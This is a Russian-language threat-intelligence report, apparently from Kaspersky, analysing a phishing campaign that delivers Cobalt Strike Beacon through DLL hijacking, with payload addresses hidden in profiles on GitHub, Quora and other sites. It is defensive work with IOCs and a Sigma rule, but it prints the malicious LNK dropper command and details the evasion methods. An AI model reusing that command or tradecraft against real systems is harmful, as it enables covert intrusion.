Введение
Во второй половине 2024 года российский IT-сектор стал объектом интересной атаки, затронувшей также некоторые организации в других странах. Злоумышленники применили целый спектр вредоносных техник, чтобы обмануть системы безопасности и остаться незамеченными. В частности, для обхода обнаружения они доставляли информацию о вредоносной нагрузке через профили в отечественных и зарубежных социальных сетях, а также на других популярных ресурсах, где пользователи могут создавать контент. Так, исследованные образцы обращались к GitHub, Microsoft Learn Challenge, Quora, а также русскоязычным социальным сетям. Таким образом атакующие старались скрыть свою активность и создать сложную цепочку выполнения давно известного и широко распространенного инструмента Cobalt Strike Beacon.
Несмотря на то, что пик атак пришелся на ноябрь-декабрь 2024 года, угроза сохраняла актуальность до конца апреля 2025-го. При этом после нескольких месяцев тишины в июле наши решения снова стали детектировать эту активность. Злоумышленники использовали новые вредоносные образцы, лишь незначительно отличающиеся от описанных в статье.
Решения «Лаборатории Касперского» детектируют эту угрозу со следующими вердиктами:
- HEUR:Trojan.Win64.Agent.gen
- HEUR:Trojan.Win64.Kryptik.gen
- HEUR:Trojan.WinLNK.Starter.gen
- MEM:Trojan.Multi.Cobalt.gen
- HEUR:Trojan.Win32.CobaltStrike.gen
Начальный вектор атаки
Начальным вектором атаки были целевые фишинговые письма с вредоносными вложениями, замаскированные под официальные обращения крупных государственных компаний, в частности из нефтегазовой отрасли. Злоумышленники демонстрировали фальшивый интерес к продуктам и услугам жертвы, тем самым создавая иллюзию легитимности и повышая вероятность того, что получатель откроет вредоносное вложение.
Все вложения, которые мы наблюдали, были RAR-архивами со следующей структурой:
- Требования.lnk
- Требования
- Company Profile.pdf
- List of requirements.pdf
- Требования
Company profile.pdf и List of requirements.pdf — это файлы-приманки, содержимое которых дополняет информацию из письма. В свою очередь, в директории Требования\Требования находятся исполняемые файлы Company.pdf и Requirements.pdf, мимикрирующие под безопасные PDF-документы. При этом сама директория скрыта и по умолчанию не видна пользователю.
При открытии ярлыка Требования.lnk файлы из директории Требования\Требования копируются в %public%\Downloads\ и переименовываются: Company.pdf в nau.exe, а Requirements.pdf в BugSplatRc64.dll. После этого nau.exe выполняется.
|
1 2 3 4 5 6 7 8 9 10 |
%cd% /c echo F | xcopy /h /y %cd%\Требования\Требования %public%\Downloads\ & start %cd%\Требования & ren %public%\Downloads\Company.pdf nau.exe & ren %public%\Downloads\Requirements.pdf BugSplatRc64.dll & %public%\Downloads\nau.exe |
Содержимое ярлыка «Требования.lnk»
Вредоносный агент
В рамках этой атаки злоумышленники применили широко распространенную технику DLL Hijacking (T1574.001). Для запуска вредоносной нагрузки они использовали легитимную утилиту Crash reporting Send Utility (оригинальное название файла BsSndRpt.exe), входящую в состав решения BugSplat, которое позволяет разработчикам получать оперативные подробные отчеты о сбоях в приложениях. Именно ее переименовали из Company.pdf в nau.exe.
Для ее корректной работы необходима DLL-библиотека BugSplatRc64.dll. Злоумышленники сохраняют под этим именем вредоносный файл, вынуждая утилиту загружать его.
Для снижения риска обнаружения вредоносная библиотека BugSplatRc64.dll использует технику Dynamic API Resolution (T1027.007), при которой API-функции содержатся в коде в нечитаемом виде и разрешаются динамически в процессе выполнения. В нашем случае функции были обфусцированы с помощью кастомного алгоритма хэширования, который имеет сходства с CRC (Cyclic Redundancy Check).
При этом большая часть хэшей внутри вредоносного образца зашифрованы по методу XOR. Также после каждого вызова его адрес удаляется из памяти, и при необходимости повторного вызова API-функции загружаются заново.
Хук функции MessageBoxW
Первоначальной задачей BugSplatRc64.dll является перехватывание API-вызова в адресном пространстве процесса легитимной утилиты с целью выполнения своего вредоносного кода (DLL Substitution, T1574.001). Вместо одной из необходимых процессу API-функций прописывается вызов функции (в дальнейшем будем называть ее NewMessageBox), которая находится в адресном пространстве вредоносной библиотеки. Эта техника затрудняет обнаружение зловреда в песочнице, так как без конкретного исполняемого файла библиотека не запустится. В большей части найденных образцов модификации подвергается вызов функции MessageBoxW, однако также были найдены образцы, которые изменяли другие API-вызовы.
Изменив перехваченную функцию, библиотека передает управление обратно легитимному процессу nau.exe.
Функция NewMessageBox
После установки хука в момент вызова MessageBoxW (или другой измененной функции) внутри легитимного процесса происходит выполнение функции NewMessageBox. Основная ее задача — исполнить шелл-код, загрузка которого происходит в два этапа.
Сперва исполняемый файл получает HTML-контент страницы, расположенной по одному из зашифрованных в теле вредоносной библиотеки адресов. В исследуемом образце это были адреса https://techcommunity.microsoft[.]com/t5/user/viewprofilepage/user-id/2631 и https://www.quora[.]com/profile/Marieformach. Расположенная по ним информация идентична. Второй адрес нужен на тот случай, если первый перестанет работать.
В полученном с этих адресов HTML NewMessageBox ищет строку, начало и конец которой совпадают с заданными в коде паттернами, состоящими из цифр и букв английского алфавита разного регистра. Подобная техника позволяет злоумышленникам использовать различные популярные ресурсы для хранения строк. Нам удалось найти вредоносную информацию в профилях на GitHub, Microsoft Learn Challenge, сайтах с вопросами и ответами, а также в русскоязычных социальных сетях.
Несмотря на то что нам не удалось найти следов использования профилей реальных людей в социальных сетях — все найденные учетные записи были созданы специально для этой атаки, что соответствует технике T1585.001, — ничто не мешает злоумышленникам использовать различные механизмы, которые предоставляют подобные площадки. Например, строки с вредоносным содержимым могут быть опубликованы в комментариях к записям легитимных пользователей.
Извлекаемая нагрузка представляет собой строку, закодированную в base64 с зашифрованными при помощи алгоритма XOR данными. В расшифрованном виде эти данные представляют собой URL-адрес https://raw.githubusercontent[.]com/Mariew14/kong/master/spec/fixtures/verify-prs, с которого загружается шелл-код, также зашифрованный при помощи алгоритма XOR.
Мы ожидали, что после расшифровки NewMessageBox сразу запустит шелл-код, однако этого не происходит. Вместо этого nau.exe запускает дочерний процесс с идентичным именем и параметром qstt, в котором все приведенные выше действия повторяются еще раз, что в итоге приводит к запуску шелл-кода.
Шелл-код
Анализ шелл-кода (793453624aba82c8e980ca168c60837d) показывает, что это рефлективный загрузчик, который внедряет в память процесса Cobalt Strike Beacon, а затем передает ему управление (T1620).
Исследуемый образец Cobalt обращается к следующему C2: moeodincovo[.]com/divide/mail/SUVVJRQO8QRC.
Атрибуция и жертвы
Схема получения адреса, с которого загружается шелл-код, схожа со схемой получения С2, которую наши коллеги наблюдали в кампании EastWind. В обоих случаях URL-адрес содержится в специально созданном профиле на легитимной площадке, такой как Quora или GitHub. Также в обоих случаях он зашифрован по алгоритму XOR. Кроме того, частично совпадают цели двух кампаний: злоумышленников интересуют российские IT-компании.
Стоит отметить, что несмотря на то что большая часть атак была нацелена на российские компании, нам также удалось найти их следы в Китае, Японии, Малайзии и Перу. Основная масса целей злоумышленников — крупные и средние компании.
Заключение
Злоумышленники используют все более сложные и хитрые методы с целью сокрытия уже давно известных инструментов. В частности, в описанной кампании они задействовали такие легитимные ресурсы, как Quora, GitHub, Microsoft Learn Challenge и другие, для хранения адреса С2, а также применяли технику DLL Hijacking, которая все более популярна среди атакующих. Для более эффективного противодействия таким атакам мы обновили Kaspersky Unified Monitoring and Analysis Platform (KUMA), расширив возможности ассистента KIRA на базе ИИ. Теперь он анализирует информацию обо всех загружаемых библиотеках и в случае подозрения на подмену помечает событие специальным признаком, на основе которого может быть создан инцидент.
В целом, чтобы оставаться в безопасности, организациям следует:
- отслеживать состояние своей инфраструктуры, проводить непрерывный мониторинг периметра;
- использовать эффективные защитные решения для обнаружения и блокирования вредоносного ПО в почтовых рассылках;
- проводить обучение с целью повышения уровня киберграмотности сотрудников;
- обеспечивать безопасность корпоративных устройств с помощью комплексной системы, которая позволяет выявлять и останавливать атаки на ранних стадиях.
Описанное в этой статье вредоносное программное обеспечение может быть обнаружено путем поиска неподписанного файла с именем BugSplatRc64.dll в файловой системе. Также косвенным признаком атаки может быть наличие в системе утилиты Crash reporting Send Utility с любым именем файла, отличным от оригинального BsSndRpt.exe.
Для упрощения обнаружения мы подготовили соответствующее Sigma-правило:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
title: Loading unsigned BugSplatRc64.dll description: Detects loading of an unsigned dll named BugSplatRc64.dll tags: - attack.defense-evasion - attack.t1574.001 logsource: product: windows category: image_load detection: selection: ImageLoaded|contains: 'BugSplatRc64.dll' filter: Signed|contains: 'true' condition: selection and not filter falsepositives: Unknown level: high |
IOC
LNK
30D11958BFD72FB63751E8F8113A9B04
92481228C18C336233D242DA5F73E2D5
Легитимный файл BugSplat.exe
633F88B60C96F579AF1A71F2D59B4566
DLL
2FF63CACF26ADC536CD177017EA7A369
08FB7BD0BB1785B67166590AD7F99FD2
02876AF791D3593F2729B1FE4F058200
F9E20EB3113901D780D2A973FF539ACE
B2E24E061D0B5BE96BA76233938322E7
15E590E8E6E9E92A18462EF5DFB94298
66B6E4D3B6D1C30741F2167F908AB60D
ADD6B9A83453DB9E8D4E82F5EE46D16C
A02C80AD2BF4BFFBED9A77E9B02410FF
672222D636F5DC51F5D52A6BD800F660
2662D1AE8CF86B0D64E73280DF8C19B3
4948E80172A4245256F8627527D7FA96
URL
hxxps://techcommunity[.]microsoft[.]com/users/kyongread/2573674
hxxps://techcommunity[.]microsoft[.]com/users/mariefast14/2631452
hxxps://raw[.]githubusercontent[.]com/fox7711/repos/main/1202[.]dat
hxxps://my[.]mail[.]ru/mail/nadezhd_1/photo/123
hxxps://learn[.]microsoft[.]com/en-us/collections/ypkmtp5wxwojz2
hxxp://10[.]2[.]115[.]160/aa/shellcode_url[.]html
hxxps://techcommunity[.]microsoft[.]com/t5/user/viewprofilepage/user-id/2548260
hxxps://techcommunity[.]microsoft[.]com/t5/user/viewprofilepage/user-id/2631452
hxxps://github[.]com/Mashcheeva
hxxps://my[.]mail[.]ru/mail/veselina9/photo/mARRy
hxxps://github[.]com/Kimoeli
hxxps://www[.]quora[.]com/profile/Marieformach
hxxps://moeodincovo[.]com/divide/mail/SUVVJRQO8QRC



Cobalt Strike Beacon с доставкой через GitHub и соцсети